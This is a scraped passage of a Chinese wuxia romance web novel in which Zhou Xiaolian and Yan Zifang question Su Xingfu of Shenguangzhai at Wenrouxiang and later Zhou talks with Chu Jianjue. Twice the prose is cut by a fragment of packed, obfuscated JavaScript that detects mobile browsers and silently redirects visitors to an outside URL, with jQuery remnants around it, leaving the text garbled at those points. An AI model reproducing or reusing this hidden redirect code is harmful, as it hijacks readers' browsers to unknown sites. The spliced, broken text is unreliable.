她正想问对方要干什么,下一秒,她感觉到燕紫芳似乎正顺着伤口,一点点舔去她手中的血。 动作很轻,生怕再勾起她一点痛感。舌苔蹭过伤口,小怜一动不动,两只眼睛凝视着在她面前俯身的男人。 刚刚被自己一捧冷水浇灭的心间,又因为燕紫芳的泪水,生出一种微妙的痒意。 燕紫芳舔舐的样子很谨慎,像猫饮水。掌心湿漉漉,小怜庆幸洗雪心法催生出的真气属阴,性寒,动武时不易流汗。 但…… 想到洗雪心法,周小怜神色不自知的凝重起来。 她原先一直以为甘霖的武功,在同辈人中应该与周汀情不相上下,毕竟周汀情在她的认知中,已经是天上人了。 只是老人常说,天外有天。 直到今日她与甘霖亲身拔剑相对,且战且拆数十招后,小怜才明确的感受到他的杀意之深。而且最重要的是,甘霖的武学功法,或许比周汀情还要更胜一层。 这并非一朝一夕间就能成的,应当自两人初遇时,甘霖就在自己面前有所保留。 周小怜不可控制的想起他们两人第一次见面。 彼时小怜死遁逃出歌玉山,对之后的去向尚不明确,于是干脆在歌玉山北附近到处闲逛,哪曾想突然的一场雨,把自己弄得泥泞狼狈。 那时候,她偶然遇到在附近缉凶的甘霖。 甘霖起初还以为一身灰的她和他正追查的凶犯是一伙人,歌玉山北人迹罕至,甘霖想也不想,便一剑向小怜袭去。 好在周小怜当时也对鬼鬼祟祟的甘霖抱着十二分警惕,没有松懈防备,忙提剑挡住他动作。她也是不动脑子的,顺手一把粉末洒出,风雨一吹,近在咫尺的两个人都中了招。 后来一切水到渠成。 小怜怎么也想不到,在洗雪山庄再次遇见他的时候,甘霖明明没有那么生气,他愿意带自己走的心也是真的吧? 可在韦郡见到的这一面,翻天覆地。 周小怜连周汀情都打不过,怎么可能打得过他? 体内真气如意料之中般荡然无存,小怜最终还是没有叹出那一口郁结之气,她只是忍不住闭上眼。 游走在甘霖剑上,泳至丹田的那一缕气,实则并非依托心法而运生的真气。一定要说的话,小怜将其当做是“生气”——也就是命。 洗雪心法与洗雪剑相佐相成,若寻常人持之以恒修炼,假以时日于心法上,便能成浑厚柔和,以载万物的境界;而于武功中,其气海也能绵延不断,护住心脉关节,免受洗雪剑的反噬。 而小怜所学的洗雪心法,虽然也是那一套功法,但问题出在她本身。 她是洗雪山庄用邪法子养出来的人。 剑走偏锋的剑客,就算练了本家的心法,身上经脉中,也可以说是乱七八糟了。小怜参悟不到洗雪心法中什么厚德载物的境界,也压根因为身体限制,够不上那至臻圆满的一层。 寻常用剑,她还与常人无异。可若路遇劲敌,小怜便只有燃命一争。 至于如何燃命? 穷丹田所有,尽己身之力,搏一线生机。 这一线,她要肌肤相贴,或凭依器具,让这一线的气,埋入对方的丹田里。就像给对方的丹田,种上一根火药的引线。 燕紫芳抬起头,周小怜睁开眼,两人视线相交。小怜艰难道:“还你一命,不如所有事就此算了,你走吧。” 燕紫芳眼眸颤动,眼眶还是有些红的。小怜看得一清二楚。她听见燕紫芳道:“我不要。” 为什么现在赶他走? “不要什么呢,”小怜见状,心里也有些舍不得。可想起甘霖来势汹汹,她强定心神,嗤笑一声,“这个我都打不过,这次救你一次,已经很拼命了。” 燕紫芳没再说话,他莽撞的拽着她的手臂往楼上走。小怜忍不住“嘶”了一声,大声责怪道:“你干嘛这样突然闹脾气?喂!你好好听我说行不行!” “就算现在你不听,之后出了温柔乡,我还是会想把你赶走的!燕紫芳!” 小怜掷地有声道:“紫芳!” 燕紫芳崩溃道:“不要这样叫我!” 小怜生出一种莫名的心碎:“那你要我看着你被甘霖杀吗?” 燕紫芳终于被小怜这一声一声逼得忍无可忍,他也失控了。 话脱口而出,燕紫芳瞬间就后悔。 他心里五味杂陈:不应该这么说她,明明受伤的是她,担心自己的也是她——可燕紫芳实在不敢去看周小怜现在的神色。 他害怕看到小怜的失望和失落,也害怕再听见小怜想要把他赶走的话语。那份恐惧让燕紫芳从看见小怜接剑时就忍不住颤抖,他本能的,不想再次成为一只弃犬,被关在暗无天日的笼子里。 明明才刚刚找到周小怜,甚至还没有机会能和她提起过去的事情。燕紫芳的绝望无以复加,他明明还想要亲口告诉小怜:其实怀芳没有死。 怀芳就是他。 小怜像是被燕紫芳唬住了,她噤声,两人一路狂奔上了三楼。 原本这点距离对于他们这种练家子来说算不上什么,可心绪不宁和争吵让两人现在都气喘吁吁。 周小怜也不知道自己究竟是怎么想的,其实甘霖杀了燕紫芳,她或许就能解脱。剩下的事情,交托给更强,更有阅历的甘霖来做,一定会更顺利。 她不用再费尽心机的想怎么□□,怎么护住虞家,怎么不牵扯到洗雪山庄。 可她就是不知道怎么回答甘霖那句“为什么”,所以只能还给甘霖一句又一句为什么。 两人默契的没有看向彼此,心里各自都揣着事。于是双双背过身,也没有说任何话,任何解释。 温柔乡三楼很暗,只有这一处楼梯旁点着几盏灯。小怜打算先看看伤口再观察一下四周,她下意识低头,看向自己受伤的右手。 刚刚被燕紫芳舔了半天忘记擦手了,还吵架,真是气得她头晕。 小怜怒从心头起,可看着自己的掌心,又忍不住惊呼:“啊!” 原本横亘右手掌心上的伤口十分可怖,她握剑时匆匆扫过一眼。后来从台上撤下来的时候,她不敢看。感觉光是疼都能疼死十个壮汉。 而现在,她的右手可以活动自如,好像从来没有受伤过一样。就连那道伤口,看着也不那么血肉模糊,甚至……没那么深了。 燕紫芳的口水是什么东西,还能治伤?那燕紫芳又是什么东西?燕子? 小怜对于面前这种常理不能解释的状况,脑子一下子变成了一团浆糊。 “咦,这么快就好了吗?吱吱。” 正当小怜僵在原地时,她的右耳朵旁,又灌进了奇怪的声音。 很近,就像是在耳边,但是毛绒绒……的? 没什么动作的小怜好像让那道声音有点吃惊,它在小怜的肩膀上踩来踩去:“怎么没动静啊吱吱,见到这个手没动静,听到我的声音也该有动静了吱!” 小怜一动也不敢动,即便大概猜到了是什么——她的余光,早已在声音出现的那一刻瞥见了一团油光水滑的灰毛,和一条长长的,无毛的细尾巴。 一只圆滚滚的老鼠正探着脑袋,凑到她眼前盯着她:“你看见我了!” “呀啊!”谁想看见会说话的老鼠啊! 周小怜猝不及防被口吐人言的大老鼠吓了一跳,慌乱之中,她毛毛躁躁扑进刚好听见动静转过身的燕紫芳怀里。 两人手忙脚乱抱作一团,老鼠倒是灵活如闪电,飞快爬上旁边的栏杆上。它小小的黑眼珠里,满是对小怜大惊小怪的不屑,控诉道:“干什么吱!你吓到我了!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362301|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周小怜欲哭无泪:“你还吓到我了呢!” “神光斋十二支神,此地是……”燕紫芳被小怜抱得死紧,他有些恍神,又飞快打起精神,“鼠?” “哦!聪明人吱,但是我更喜欢女人!”老鼠听到燕紫芳的猜测,欢快地在栏杆上跳了几个来回,又道:“你们跟我走吧,苏星拂在等你们呢吱!” “苏、苏星拂?”周小怜眨眨眼睛。 老鼠道:“就是管着这里的那个,很麻烦很爱干净的女人吱。” 还好这大老鼠除了会说人话以外,没做出什么其他像人的举动。它在前面领路,小怜扒着燕紫芳的一条手臂,亦步亦趋跟在后面。 老鼠将他们带到一扇房门前,它拱了拱小怜的裙角,干脆利落的指挥道:“敲三下门,吱吱。” 小怜对着老鼠深信不疑,她依老鼠所说,抬手敲了三下。 无人回应,但面前木门吱呀一声,开了。 “让你去接个人,怎么这么久才回?又上小厨房偷吃去了?” 未见其人,先闻其声。一道女声远远自屏风后传来,小怜见大老鼠猛往声音来处钻,嘴里还说着:“污蔑我!是他们两个在下边亲——” 周小怜想起鬼使神差的那一个吻还没被燕紫芳发现,刚刚两人还因为离开的事情闹别扭,立刻心虚的撇开了燕紫芳的手臂。 她大叫一声:“就是你偷吃了,我看见你偷吃灯油了!” 只见那只老鼠顿时愣在原地,不可思议的看着小怜——一张老鼠脸上居然可怜兮兮的,能看见被污蔑的委屈! 老鼠吱吱乱叫,这下根本连人话都忘了怎么说。屏风后的苏星拂“扑哧”一声,被这幅场景逗得忍不住笑了出来。 “它不偷灯油,向来只偷些新鲜的瓜果。”少女从后转了出来,老鼠爬上她的肩膀。 苏星拂看着比小怜好像只大了一两岁,眉上青山远黛,眼中春水盈盈,落星拂波,身似玉柳:“神光斋苏星拂,周二小姐,幸会。” 这一路走来,能自报家门的常人真是不多了。周小怜对少女客客气气,拱手作揖招呼道:“洗雪山庄周小怜,幸会。” 这么一说,按江湖规矩,燕紫芳是不是也应该自报家门? 小怜的心思还没开始跃动,便不出意外,听见燕紫芳淡淡道:“燕紫芳。” 苏星拂抬手揉了揉老鼠脑袋,听见燕紫芳的回答,她的头歪了一点,语气含笑道:“燕少侠,好像少说了一些。” “我知道你们是来做什么的。于我而言,或者说于神光斋而言,韦郡所发生的事情,与史书上其他的事情,也并无不同。” “而……我今日愿意以这副模样招待二位,足以表明我对二位的好奇,与诚心。” 小怜听了苏星拂的话,隐隐觉察出面前女人语气中的来者不善,她蹙眉道:“那你和神光斋,想知道我们两个的什么事情?” “洗雪山庄周女侠的故事,我们已经听了很久了,”苏星拂在堂中的桌案后坐下,并笑眯眯地朝站着的两人招了招手,“我们想知道新的故事。” 苏星拂埋首燃香,缓缓道:“琪树九关隐世不出,白鸥泊舟早已灭门。鹭点烟汀不理世俗,却又代代有人身在世俗。” “数百年前,是周女侠孤剑入世;数百年后,是燕少侠一刀断水。” 周小怜有点晕眩。 她突然听到一种嗡鸣的声音钻破地壳,穿过楼宇,在她的耳中和脑中剧烈震颤。 燕紫芳宁静的看着她,就好像她是一具没有呼吸的尸首——小怜打了个寒颤。不,为什么燕紫芳在看她?她的手缓缓摸上自己耳鸣的耳朵,在那之前,她先摸到了燕紫芳的手背。 这样做,不是不希望小怜听见他说的话。燕紫芳看着她的眼神中,甚至微微有几分悲悯……眼下还不是让她知道一切的时机,那还要等多久,什么时候才是呢? 小怜的耳朵在汩汩向外流血。 苏星拂火上浇油道:“你给她下了蛊毒吗?” 小怜茫然的看着燕紫芳,她的耳朵被这么捂一会儿,渐渐又能听清了。 好像刚才的耳鸣,只是她一瞬间的错觉。 27. 云山乱 燕紫芳放下手,没有看着苏星拂。小怜看见他嘴唇张合,声音刚好模模糊糊传进自己耳朵里。 他道:“鹭点烟汀没什么故事值得神光斋挂念。” 苏星拂摇摇头道:“故事的价值,由神光斋定夺。” 她将老鼠虚握在手中,心不在焉地揉了揉,指头被小鼠抱在怀中:“这样吧,毕竟关于鹭点烟汀的消息奇少。你若是愿意让我们听见其中一二,作为交易,我可以不问你身边周二小姐的问题。” “……”燕紫芳沉默了。 就在他犹豫之际,周小怜已伸手扒开他捂着自己耳朵的手。 眼下从燕紫芳嘴里一定问不出什么名堂,她干脆迈开步子,自行坐到苏星拂面前,问出此地只有她一个人摸不着头脑的问题:“鹭点烟汀是什么?” “……你一点都不知道呀?”苏星拂听闻此言,竟有些出乎意料,“你娘亲和你父亲居然一点也没——” “我出身鹭点烟汀,此地隐居避世,门人鲜能外出。” 燕紫芳忽地出声,几乎有些不理智的打断了苏星拂的话。 他下意识将视线投向小怜抗拒自己的背影,脑内嗡嗡作响。他心知不能再任由苏星拂毫无顾忌的说下去……若是周小怜现在知道了一切事情,那之后会变成什么样? 从过去到现在,谁也不敢赌。 事关鹭点烟汀与她父亲辛慎,没人会比燕紫芳和周珊瑚知道的更多,也没人会比他们两个人瞒小怜瞒的更多了。 他喉头发紧,兀自叹了口气:“你提问,我会告诉她关于鹭点烟汀的事情。” 苏星拂眯着眼睛,她脸很年轻,神态却过分精明,似乎已洞悉燕紫芳心中所想。这让正坐在她对面,不知不觉已处于被动的小怜不大舒服。 肥肥的老鼠从苏星拂掌中爬出,它还是很不喜欢刚刚诬赖它的小怜,哼哼吱吱扭着屁股跑开了。 苏星拂听见燕紫芳放下身段,愿意配合自己,心情愉悦不少。 她伸手将要逃出桌案的小老鼠抓回手心,手指灵活蹂躏肥硕小鼠,笑道:“好啊,成交。有些事情你不想说,我也不会问你……或者她的,呵呵。” 周小怜虽对燕紫芳的奉献心中不甘不愿,可奈何苏星拂矛头对准了燕紫芳,丝毫没有偏移的意思。既然如此,她也只能硬着头皮,先问重要的事情。 周小怜望着面前的苏星拂,正色道:“烧香天背后之人究竟是谁?” 苏星拂思考片刻,沉吟道:“玉佛生来有四目,两目探人间,两目窥尧舜’,你们先去过琼鱼坊,想来小施已经与你们讲过了。” “不过呢,世上王侯将相繁多,谁说操权弄势又非得是本朝的官。圣人虽然宅心仁厚,但有些事情,在朝的人可做不得,”小老鼠大气不敢吱,四脚朝天给苏星拂揉肚皮,“至于究竟是谁嘛……神光斋在此地还要做生意,轻易说不得。” 倒也猜得到,神光斋八面玲珑,绝不会轻易把对方的身份告知于两人。 况且温柔乡位处韦郡之内,烧香天应当也常与神光斋和苏星拂做生意,若苏星拂轻易为两人解答,说不准之后会被烧香天一行人寻仇。 小怜不语,仔细在心底琢磨着苏星拂的意思:此人虽身在京畿,位高权重,但未必是朝中官员。尽管手持利刃为圣上办事,然此类人常常为天听忌惮,难得善终。 如此说来,能时刻行走于韦郡布局还不引人注意,的确很难是还有官职在身的人。 苏星拂道:“至于此人如今身在韦郡何处?行踪隐蔽,温柔乡也不得而知。接下来,该由我提问了。” 她视线越过小怜,盯上在门口站守的燕紫芳:“鹭点烟汀与当年歌玉山灭门血案,可有关系?” 小怜本还沉浸于自己的思考中,忽闻与她牵扯纠缠不浅的歌玉山二字,眼皮一跳。 她不知道歌玉山上还发生过什么血案。 与乌兆星在歌玉山的时候,她从没见到过什么断壁残垣,人烟残余。她一直只当歌玉山是一处荒山……不过歌玉山说是一座山,实则是一片山群。她当时疲于逃命,有所疏漏倒也正常。 燕紫芳寒声道:“周摘桐与巫龙雪入世后,便不再是鹭点烟汀门人。歌玉山血案,为杀梅老者所做。” 两个陌生的名字传入耳中,小怜却对周摘桐有些本能的好感。想来先前苏星拂意指周女侠实为鹭点烟汀出身——周摘桐,应该是洗雪山庄周女侠的本名? “哦?”苏星拂好奇道,“鹭点烟汀为何觉得是杀梅老者所为?” 燕紫芳提醒道:“这是第二个问题。” 苏星拂哂笑:“这样严苛?哎,好吧,周二小姐,请问在下第二个问题吧。” 周小怜回过神,轻咳一声道:“我想知道辛慎的下落。” 苏星拂:“此人多年前已下落不明,神光斋也不得而知,不过应当没有过日月江。至于其他的嘛,此人为圣上办过一些事情,是个很有意思的小人。若非做了周庄主赘婿,神光斋倒是愿意收留……” 周小怜闻言惊愕道:“他为圣上办过事?” 苏星拂笑嘻嘻回击道:“这是第三个问题。我要问我的第二个问题了,鹭点烟汀可藏有四方匣?” 怀里揣着木匣的小怜眉头一跳。 鹭点烟汀是什么地方,她不知道;四方匣是什么,她也不知道;可一个神秘的匣子,她身上现在真的有。 燕紫芳答道:“除天下武学,鹭点烟汀并未藏有其他任何。” “你不问我四方匣是什么吗?”苏星拂追问道。 燕紫芳斩钉截铁道:“无论是何物件,都与鹭点烟汀无关。” 苏星拂没撬到想要的答案,故意装出几分失落道:“唔……好吧,周二小姐,请继续。” 周小怜深吸一口气,烧香天和她父亲的下落,她都问过了。于是剩下的,想问的问题,就回到了方才的开头,只听她缓缓道。 “鹭点烟汀是什么?” 苏星拂起先已对周小怜的一无所知惊奇过一回,这次倒也平静一些。 只不过方才燕紫芳已阻止过她,现在再提起这个话题,她也只能从自己的所知中,小心翼翼地捡着说:“你就当是比琪树九关隐居更久,更奇怪的地方好了。” “只不过鹭点烟汀这数百年以来,有两个流传已久的传闻。” “很久很久以前,有两个女孩从鹭点烟汀里出来。她们各自都学了一身相当奇怪的武功,一人先出世,在经历许多事情后,于日月江北建立了洗雪山庄——周摘桐女侠的故事,江湖人尽皆知。” “至于另一人……她没闯出什么功绩,但身怀鹭点烟汀无上秘宝与武学,在歌玉山一带留下了一条血脉。若燕少侠说的不错,这位久居歌玉山的少女,便名唤巫龙雪。” 苏星拂又搓了搓老鼠,她手闲不下来:“本来呢,鹭点烟汀存不存在这件事情,一直都是存疑的。不过神光斋到底比大家都多知道一点,自然也就知道二十年前,非衣会和紫羲楼的故事。” “非衣会的薄公子,招惹了紫羲楼的守楼人梦深深。谁也不知道他们两人之间,到底是不是有什么真感情;也不知道,两人珠胎暗结,梦深深九月之后,早产诞下一个……死婴。” 苏星拂在紫烟中娓娓道来,眼神时不时瞟过独立此外的燕紫芳,似乎这个所谓的死婴,一切已经不言而明。 小怜听过前面的鹭点烟汀,洗雪山庄,歌玉山,眼下又听见非衣会与紫羲楼,有一种茫然:苏星拂现在,说的这是谁的故事呢? 看她的样子,总不是与在场的人无关的故事。可此处与紫羲楼和非衣会有关的,好像也就只有在门扉边上的燕紫芳了。 ……燕紫芳他,曾经是个死婴吗? 小怜想象不出来一路以来一直神神秘秘的燕紫芳,过往竟是如此的……秘辛。 薄公子是非衣会如今的会长,梦深深则是紫羲楼数十年未改,尽忠职守到古板的守楼人。小怜见过梦深深,可她想不到八竿子打不着的两人之间,怎么会有什么风月之事? 况且……这样窥听燕紫芳血淋淋的往事,好像并非自己的本意。< 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此时此刻,在小怜耳畔依依不饶响起的,是甘霖在刀光剑影中的那句诘问: “环则圆满,玉断为分离,剑穗千千丝,你为他织补那份缺憾吗?” 三百两的刀鞘、玉玦、做工精巧……一切竟然历历在目。小怜浑身发抖,如遭雷击。 燕紫芳的故事她听完了,周小怜不可控制的想:燕紫芳的缺憾是什么?他每日雷打不动在擦刀的时候,想的又是什么? 紫羲楼守楼人数十年如一日,从未离开过紫羲楼;非衣会薄公子表面上说是遨游四海,行踪难以捉摸,实为被人追杀;燕紫芳从死婴到成人,在隐居世外的鹭点烟汀里,他见过自己的父母吗? 还是说,在漫长的岁月里,三百两这柄刀,便是他对外界和至亲,唯一的记挂? 小怜看向燕紫芳,他的神态、神情、动作,一切没有丝毫变化。 苏星拂明明将他的过往抖漏的一干二净,可对于燕紫芳而言,这就好像是别人的故事一样。 苏星拂耗费口舌,甚至无法在他的心里拨出一点涟漪。倒是小怜的心因此七上八下,心中想的事情,脸上表情都藏不住了。 小怜在想燕紫芳,而她眼中的被害者燕紫芳,也神游天外的在想她。 只不过这个男人所想的东西,倒是比小怜不正经了许多:原来在她面前剥开自己的过往,便能让她对自己心软一些吗? 他都不知道原来这些过往,居然对于小怜而言,竟然是这么值得可怜的存在……不过或许,这也是因为从旁人口中得知,所以才显得格外凄惨一些吧? 虽然他并不在意什么父母,也不在意三百两、刀鞘和玉玦。 擦刀是他爱惜,用三百两是因为顺手。鹭点烟汀里为他备的名刀数不胜数,可还是三百两这把直刀的样式最称手。 至于玉玦……他起初没有想着要挂。 还是在洗雪山庄看望猫婆婆的时候,猫婆婆坐在湖边和他说,小怜喜欢这些看上去亮晶晶的新奇东西,他才随便摸了一个挂上的。 燕紫芳眼睑半垂,平静道:“鹭点烟汀欠紫羲楼一个人情,当时便请琪树九关谷主前来,与鹭点烟汀众人协力,将我治做药人。” “全身上下都是珍奇异宝的药人啊……有意思,真有意思,”苏星拂合掌,爽朗笑道,“周二小姐可还有问题想问?” 难怪舔两下手心伤都要好了,原来他真是口水能治病的燕子。 “……没有了。”小怜望着燕紫芳,有些颓然。 三个问题,把燕紫芳不为人知的过往挖掘出来。那之后呢?苏星拂还想从他身上知道什么,得到什么? 小怜宁愿今夜是苏星拂问自己这些问题。 救人是她要救的,不该是燕紫芳向苏星拂付出代价。 关于周珊瑚的漠视,洗雪山庄的武功奥秘,甚至自己是个断筋接骨才能习武的废物,她都愿意一字一句,没有疏漏的告诉苏星拂。 她绝无怨言。 28. 何曾怜 苏星拂似是终于玩够了老鼠,她放下奄奄一息的爱宠,朝小怜两人道:“至于与你们同行的那两位客人,温柔乡自然会招待妥帖,不必忧心。” 小怜愣了一会儿,这才想起来来的时候,身边还有乌兆星和褚见珏两人。只不过刚进温柔乡,这两人就消失的无影无踪了。 后来碰上甘霖,和燕紫芳吵架,又与苏星拂打机锋……一直没顾上问他们两人的去向。 不过乌兆星武功不差,褚见珏出身褚家,是京畿出名的名门望族,温柔乡也不敢轻易拿他怎样。 身边达官显贵唯独褚见珏一人,此人还是突然出现在韦郡的,小怜原先猜他与烧香天有关,可坐下来仔细想想,也不尽然。 褚见珏他爷爷褚老爷子,清廉公正,美名在外数十年;父亲褚守承在朝任刑部尚书,与褚见珏生母康宁镖局梁大小姐梁金玉是天作之合。 正因为有父母珠玉在前,褚见珏才耳濡目染,对江湖向往已久。 以至于他后来落榜买醉撞上女飞贼小怜,第一反应不是被非礼,而是狂喜。 他开心,小怜看看他喜笑颜开,感觉得自己像撞鬼。 褚见珏漂亮脸蛋哭得鼻涕一把泪一把,小怜哄他自己是画中仙子是一回事,他抱着画中仙子像啃萝卜一样啃脖子又是另一回事。 不过褚见珏实在漂亮,他也是狐狸,那夜的醉仙楼露台上有两只狐狸。 一只身姿挺拔,瘦腰劲力;一只冰肌玉骨,芙蓉香面……小怜初出江湖,第一站就到京畿,那时候她很容易为美色所误,脑袋糊涂,最终还是与褚见珏不清不白的乱了风雨一场,打了鸳鸯一双。 至于之后的事情?天不亮,小怜就逃了。 坏了人家清白可不能随随便便,是要负责任的……周小怜本能的怕“责任”这两个字,她不愿意承担洗雪山庄二小姐的责任,更不愿意背上旁人的一生。 周小怜囫囵揉了一把自己的脸颊,试图在心底说服自己:燕紫芳是自愿的,你不要心里想太多。他对你示好也正常,你是周小怜,是周小怜,有很多人喜欢的周小怜! 喜欢你的人非富即贵,没有一个坏……至少没有一个长得丑的人! 你想想乌兆星、阮真棋、褚见珏——甘霖。 脑子里千奇百怪连到甘霖身上,小怜眼前似又看见他黯然离去的背影,心猛一抽痛。 过去在四人之中,她对甘霖总偏心一些。原因无非就是那些:性格好、武功高、长相好,出身正道,清风霁月。周珊瑚为她精挑细选择夫婿的标准也无非如此,甘霖条条都合得上。 如今这一捧白月光照怜己身,谁又能不为这一色动容? 若是他只是因为情杀,对燕紫芳咄咄相逼,已经到了不死不休的地步,周小怜打从心底不愿相信这种可能。 应该是有误会?方才苏星拂提到歌玉山、杀梅老者和鹭点烟汀,是不是这里有什么误会? 小怜捧着脑袋,脑子都快烧了:甘霖与她初见在歌玉山,苏星拂问歌玉山血案是不是鹭点烟汀做的,燕紫芳说是杀梅老者做的……歌玉山血案,歌玉山血案!他们说的一切都从这里开始。 可那到底是什么东西啊?小怜思索再三,真真切切的确定了自己真的从没听过旁人提过这件事情。 周小怜把自己脑子绕得打结,这下彻底琢磨不明白了。 眼见此地该问的都问完了,她干脆直接提着剑站了起来,往外走去:“我在温柔乡里透透气,今夜很晚了,就在此地休息吧,别跟来。” 燕紫芳不言,将小怜的话都听了进去,便只是目送她离开三楼,少女的身影消失在拐角处。 苏星拂邀功道:“周庄主和鹭点烟汀有联系的事情,我可没有说漏嘴哦。” 燕紫芳轻声道:“神光斋不必对鹭点烟汀打什么主意。鹭点烟汀不涉凡俗争权夺利,从前不会,除我之后,也不会再有人入世。” “那她呢?”苏星拂摇摇头,可惜道,“你庇护得了二小姐吗?你知道她招惹的都是什么人吗?” “你要把她带回鹭点烟汀吗?” 也不知道他抱着刀,久久值守在这里是想些什么。燕紫芳歪了歪头,相当坦诚道:“鹭点烟汀远离俗世,太过冷清古板。如果她愿意,未尝不可……” 苏星拂嫌弃道:“算了吧,依我看来,你们两人未必都能全须全尾的走出韦郡。” 燕紫芳心中所想不比小怜少,苏星拂提及她那四段姻缘,燕紫芳又有些烦躁。他身在其中,小怜对他却不像对四男一般容忍。 无缘无故落后他人一头,燕紫芳何尝能忍下这口气? 况且明明是他先来的。 燕紫芳攥着三百两,许久后才沉稳道:“倘若坊主说的所有消息都是真消息的话,可以。” 苏星拂一僵。 温柔乡二楼,小怜寻了一处朝北的露台歇下。遣退了所有想要服侍她的少女们,小怜只讨要了一壶茶放在案上。 此处寂静,背光,韦郡最冷清的一面都能从这里看到,于是来到这儿的人也不大喜欢在这里待着。 身处温柔乡中,谁又愿意一抬眼就看见破烂的坊市,衣衫褴褛的人们,空荡凄凉,满目疮痍。 小怜收回目光,久违的,她感受到一种铺天盖地,足以将她压垮的沉重。不想背负的责任,真就能轻易将一切弃之不顾了吗? 她或许吃过这些百姓种出的粟米,穿过他们织出的布匹……她,周小怜,周二小姐,真能做到冷眼相待,眼睁睁看着韦郡的百姓像那三郡一样,被一把战火烧得家破人亡吗? 能置身事外吗?能吗? 小怜放空了眼睛,从腰间抓出那一把刚刚买下的络子和穗子,大多都缠在一块了,怎么理也理不开,可能要用剪子绞烂才行。 周小怜把它们都放在桌案上,对着月光,笨拙地一点点捋开,抻顺。就像解开她一团乱麻似的的心结一样,小怜想解开这些穗子和络子,也想结开自己都不能明白的心意。 一双手悄无声息地从她后背勾上来,搂着她的脖子,而后整个人都沉甸甸倾过去,压在她的身上:“仙子,你心烦意乱,红线纠纠缠缠……桃花劫,险象环生呢。” “你被她们放出来了,酒醒了么?”小怜认认真真忙她手上的东西,她头也不抬,这样腻歪的语气,唯有褚见珏说得出口。 大狐狸褚见珏这会儿倒是穿好了衣服,身上几乎没有酒气,只有长长的头发丝,从小怜肩上垂下:“嗯……好像没醒?不然,怎么会在这里看见仙子呢?” 小怜纠正道:“我不是仙子。” 褚见珏胡搅蛮缠,成功让他们俩的头发都有一小撮缠在一起了:“不是仙子怎么会从天上掉下来?” “从天而降的也有可能是馅饼或者横灾,以及蟊贼啊。”小怜歪了歪头,想躲开一点他的亲昵:“让开一点,挡到我的光了。” 露台上没有点烛,天高月明,小怜全赖着这点月光打开手头的绳结。 眼见色诱不成,将小怜越推越远,褚见珏又委屈了些。褚大公子低声下气道:“我若是没能将你带回去,我家里人会把我打成一颗劲道弹牙的肉丸,仙子啊……” “你为什么会出现在琼鱼坊?”第一次是意外,第二次是绝无可能,小怜坐怀不乱,忽问道。 褚见珏一愣:“那是哪?” 小怜奇道:“你在那里吃醉酒遇上我,不知道是哪里吗?” 褚见珏哼哼着摸两人缠在一起的头发丝,似乎很难想起小怜口中的地方。但小怜说那是他们两人遇见的地方,他还是努力从混乱的脑子里剥出来一点记忆:“哦……有人领我去的。” 提到正事,褚见珏终于坐正了一些身体:“我娘有个好朋友在这儿,我管他叫焦叔叔。他一直住在这儿,见我来了便招待我去这儿的好地方逛逛。” “后来聊着聊着便吃多了酒,我记不清了……说起来,这又是哪?” 周小怜分心道:“唔,温柔乡。也是韦郡的好地方。” “……听着好像不大正经。”褚见珏抖抖身体。 小怜面无表情的补道:“琼鱼坊是赌坊,温柔乡是乐坊,你家好像从不让你去这些地方的。不过再坏的醉仙楼你也去过了,天高皇帝远,你家里应该不会知道你在韦郡花天酒地。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362303|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小怜抛下这句话,又一门心思闭门造车去了。 灵巧的手解不开精致的工艺品,她好一会儿才从一团乱麻里解救出一条穗子,正松了口气,身边也没个动静,适才想起身边明明还有个褚大狐狸——周小怜扭头看去,褚见珏已哭成泪人。 要说小怜第一次见男人哭,就是在醉仙楼露台上见到落榜的褚见珏哭。再后来除了乌兆星在歌玉山看到自己假死的场景,就没有了。 除了褚见珏以外的三个男人,都不是什么爱哭的人。 一直到燕紫芳出现。 比起燕紫芳那种了无动容的哭法,褚见珏可以说觉得哭得得心应手,活色生香了。 若是寻常时候,小怜说不定还会耐着性子哄一哄,有点馋。 只可惜今夜之内,小怜已经是第二次看见男人在自己面面前哭,眼下实在对褚见珏的眼泪实在提不起一丝一毫的怜惜。 她盯着褚见珏的眼睛看,恹恹的想:褚见珏睫毛没燕紫芳的长。 褚见珏不察小怜的春心此时硬得像顽石一样,他肩膀一耸一耸,抽泣道:“你嫌我花天酒地,可你不也毁人清白之后还、还沾花惹草?我清白尽毁,你又盯上大相国寺那个带发修行的……京里闹得沸沸扬扬,你想过我要怎么做人吗?” “我娘说江湖儿女快意恩仇,可绝不是闹出了事,拍拍屁股就走的,”他额头抵在小怜肩膀上,湿了一片,“你让我声名狼藉,我恨死你了。” 小怜心不在焉的想:这个也聪明,靠在好的那边肩膀上了。 燕紫芳没舔她被刺中的肩膀,现在那一块已经痛到麻木。 恨自己的人太多了,为情而恨的现在更是见一个恨一个。周小怜贱兮兮,故意问他:“真恨吗?” “……假的!” 褚见珏被小怜这么一问给刺激到了。他恼羞成怒,一把将小怜扑倒,手还小心翼翼托在小怜脑后,免得她碰伤了。 “虽然你可能不信,但真的会有人因为一面之缘,就非你不可的。” 褚见珏叹气,两人的发结竖在半空中,动来动去,早已打了个死结,真是解不开了。 他诚恳道:“你要相信一见钟情,小怜。我是真的愿意为你放弃很多事情。” 褚见珏能找到洗雪山庄,现在能叫出她的名字,也不是什么奇事了。 原先她也困惑过,若说阮真棋还有皇家那条线可以攀,天下尽在掌中……那褚见珏如何能得知她是洗雪山庄的人? 